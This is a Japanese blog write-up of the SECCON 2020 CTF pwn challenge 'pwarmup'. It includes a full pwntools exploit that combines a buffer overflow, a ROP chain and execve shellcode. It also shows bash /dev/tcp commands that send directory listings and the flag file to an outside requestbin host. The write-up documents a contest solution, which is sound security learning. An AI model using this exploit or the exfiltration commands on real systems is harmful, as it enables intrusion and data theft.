SECCON 2020 OnlineCTF writeup

SECCON 2020 OnlineCTF writeup

yharima チームで参加.今回は人が集まらず3人.
631pts で 47th でした.自分は WelcomeSurvey 除くと実質1問しか解けなかった.

ソース: https://github.com/yuta1024/ctf_log/tree/master/SECCON_CTF_2020_Online

f:id:yharima:20201011174123p:plain

[pwn] pwarmup

「warmp なのでソースコードも付いていてとても簡単そう!」…そう思っていた時期が俺にもありました.長くなるので,ステージを分けます.

Stage 1: シェルを奪うまで

実質これだけ.

int main(void) {
  char buf[0x20];
  puts("Welcome to Pwn Warmup!");
  scanf("%s", buf);
  fclose(stdout);
  fclose(stderr);
}

露骨に BOF があるので EIP は簡単に奪える.でも stdout/stderr と出力系が close されている.
そのため, libc を leak して one-gadget などはできなさそう.

セキュリティ機構をみると,全部 disable でスタック上も実行できることがわかる.このあたりが攻略の手がかりそうと判断.

$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : disabled

スタック上にシェルコードを積んで,そこに EIP を飛ばす方針としつつ,使えそうな ROP gadget の探索する.

$ rp++ -f chall -r 1 | grep rdi
0x004007e3: pop rdi ; ret  ;  (1 found)
$ rp++ -f chall -r 2 | grep rsi
0x004007c3: mov rsi, r14 ; mov edi, r13d ; call qword [r12+rbx*8] ;  (1 found)
0x004007e1: pop rsi ; pop r15 ; ret  ;  (1 found)

rdirsi も popgadget がある(rsir15 もついてくるけど無視すれば OK),

ASLR 有効のため, stack 上のアドレスを特定したいが出力系は閉じられているので別の方向から攻めるしかなさそう. Return-to-register でなんとかならないかと思い色々 gadget を探索していると以下があった.

$ rp++ -f ~/chall -r 1 | grep rax
(snip)
0x00400560: call rax ;  (1 found)
(snip)

これを使えば rax に実行したいシェルコードを積んで, EIP を飛ばしてあげればシェルがとれそうであることがわかる. 流れとしては,

  1. BOF する
  2. ROP して bss に実行したいシェルコードを置く.(scanf@plt を利用)
  3. rax に bss をセットして call rax する

ここで,問題となるのは pop rax がないこと.ただ,rax に任意の値を入れるのは alarm を2回呼ぶテクニックが使える.
alarm(x) => alarm(0) と2回呼ぶと,2回目の実行で rax に x が代入される.man を引くとどういう仕組かわかる.

RETURN VALUE
       alarm() returns the number of seconds remaining until any previously scheduled  alarm  was
       due to be delivered, or zero if there was no previously scheduled alarm.

alarm は呼び出すと,すでに alarm が呼ばれている場合に残り時間が返る.なので連続して呼び出すとほぼ確実に最初に設定した値が返ってくる(処理が遅いとずれる可能性はあるが,現代においてはありえなさそう).

あとは上記の方針で ROP gadget を組めば,シェルが立ち上がる.
注意として payload は scanf で読むため isspace 判定されるもの(ex. 0x0b など?)があるとちょん切られるので気をつける,

from pwn import *

context.arch = 'amd64'

con = remote('pwn-neko.chal.seccon.jp', 9001)

bss = 0x600e00
poprdi = 0x4007e3
poprsi = 0x4007e1
shellcode = '\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05'

con.recvregex('Welcome to Pwn Warmup!\n')

payload = 'A' * 32
payload += pack(bss)

payload += pack(poprdi)
payload += pack(0x40081b)
payload += pack(poprsi)
payload += pack(bss)
payload += pack(0)
payload += pack(0x4005c0) # scanf@plt

payload += pack(poprdi)
payload += pack(bss)
payload += pack(0x4005a0) # alarm@plt

payload += pack(poprdi)
payload += pack(0)
payload += pack(0x4005a0) # alarm@plt

payload += pack(0x400560) # call rax

con.sendline(payload)
con.sendline(shellcode)

con.interactive()

Stage2: 閉じられた stdout

シェルも取れたのであとは, ls して cat すれが終わり,と思ったら何も出力されない.
そりゃそうだ… stdout も stderr も閉じられてるんだから…
ここから地獄のような戦いが始まった.

まず最初に ls -l | nc <ip_addr> <port> することを思いつく.ローカルでは問題なく動作したので, nc さえ入ってれば…と思ってやるも駄目.

色々ググったりしていると /dev/pts/* を open することで stdout が復活するという情報を得る.
頑張ってシェルコードを書いてローカルで流してみると,何故か別の窓で SSH しているターミナルに ls 結果とかが流れてきて草生えた.
その後も,色々シェルコードをいじるも上記問題が解決できず眠くなってきたので一旦寝た.

起きて,再度上のシェルコードを弄るものの改善せず,この方針は駄目そうだと判断.
ls などの結果を pipe して別のどっかに飛ばす,という方針で他の方法がないか色々検索する.

色々調べてみると, bash の場合に /dev/tcp/${host}/${port} に書き込めば, nc 方針と同様のことができることがわかる.
シェルコードでは sh で立ち上げてるので bash がなければ成り立たない.シェルを上げた後 bash を実行して exit した際の挙動で bash が存在するかを確認する.
exit が2回必要であれば, bash が立ち上がっているので存在すると判断できる.一方で1回で exit してしまったら bash はない.祈りながらやってみると‥

% python pwarmup.py
[+] Opening connection to pwn-neko.chal.seccon.jp on port 9001: Done
[*] Switching to interactive mode
$ bash
$ exit
$ exit
[*] Got EOF while reading in interactive

これはきた!
でもこの時点で14時くらいで焦りながらぐぐり requestbin を利用してリークしていく.

まず, ls 結果を知る(requestbin は Cloudflare を使っていて Host ヘッダがないと 400 になるので注意).

$ bash
$ exec 3<> /dev/tcp/requestbin.net/80
$ echo -e "GET /r/(snip) HTTP/1.1\r\nHost: requestbin.net\r\nX-CTF: $(ls|base64)\r\nConnection: close\r\n\r\n" >&3
$ cat <&3

結果は以下.

f:id:yharima:20201011182325p:plain

X-CTF に含まれたものをデコードすると,

% echo 'Y2hhbGwKZmxhZy1lNjk1MWRmMDQwMGFkZDZhNmI1YmUxMWYyNWI4MGNlYS50eHQKcmVkaXIuc2gK' | base64 -d
chall
flag-e6951df0400add6a6b5be11f25b80cea.txt
redir.sh

同じ方法でフラグを cat すればいい.

$ bash
$ exec 3<> /dev/tcp/requestbin.net/80
$ echo -e "GET /r/(snip) HTTP/1.1\r\nHost: requestbin.net\r\nX-CTF: $(cat flag-e6951df0400add6a6b5be11f25b80cea.txt)\r\nConnection: close\r\n\r\n" >&3
$ cat <&3

結果は以下.

f:id:yharima:20201011182611p:plain

というわけで, SECCON{1t's_g3tt1ng_c0ld_1n_j4p4n_d0n't_f0rget_t0_w4rm-up} が得られた.
warmup(10時間)を終えた.14:40 くらいでほんとギリギリだったけど解けて本当に良かった.

まとめ

メンバーが web 2問解いてくれたので結構いい順位だった.一人は座ってただけらしいけど(自分も人権なしの瀬戸際だったので人のことは言えない).
本戦なくてやっぱり寂しいですね….そして全然 CTF してなくてなまりまくってることもわかりました.来年も頑張ります.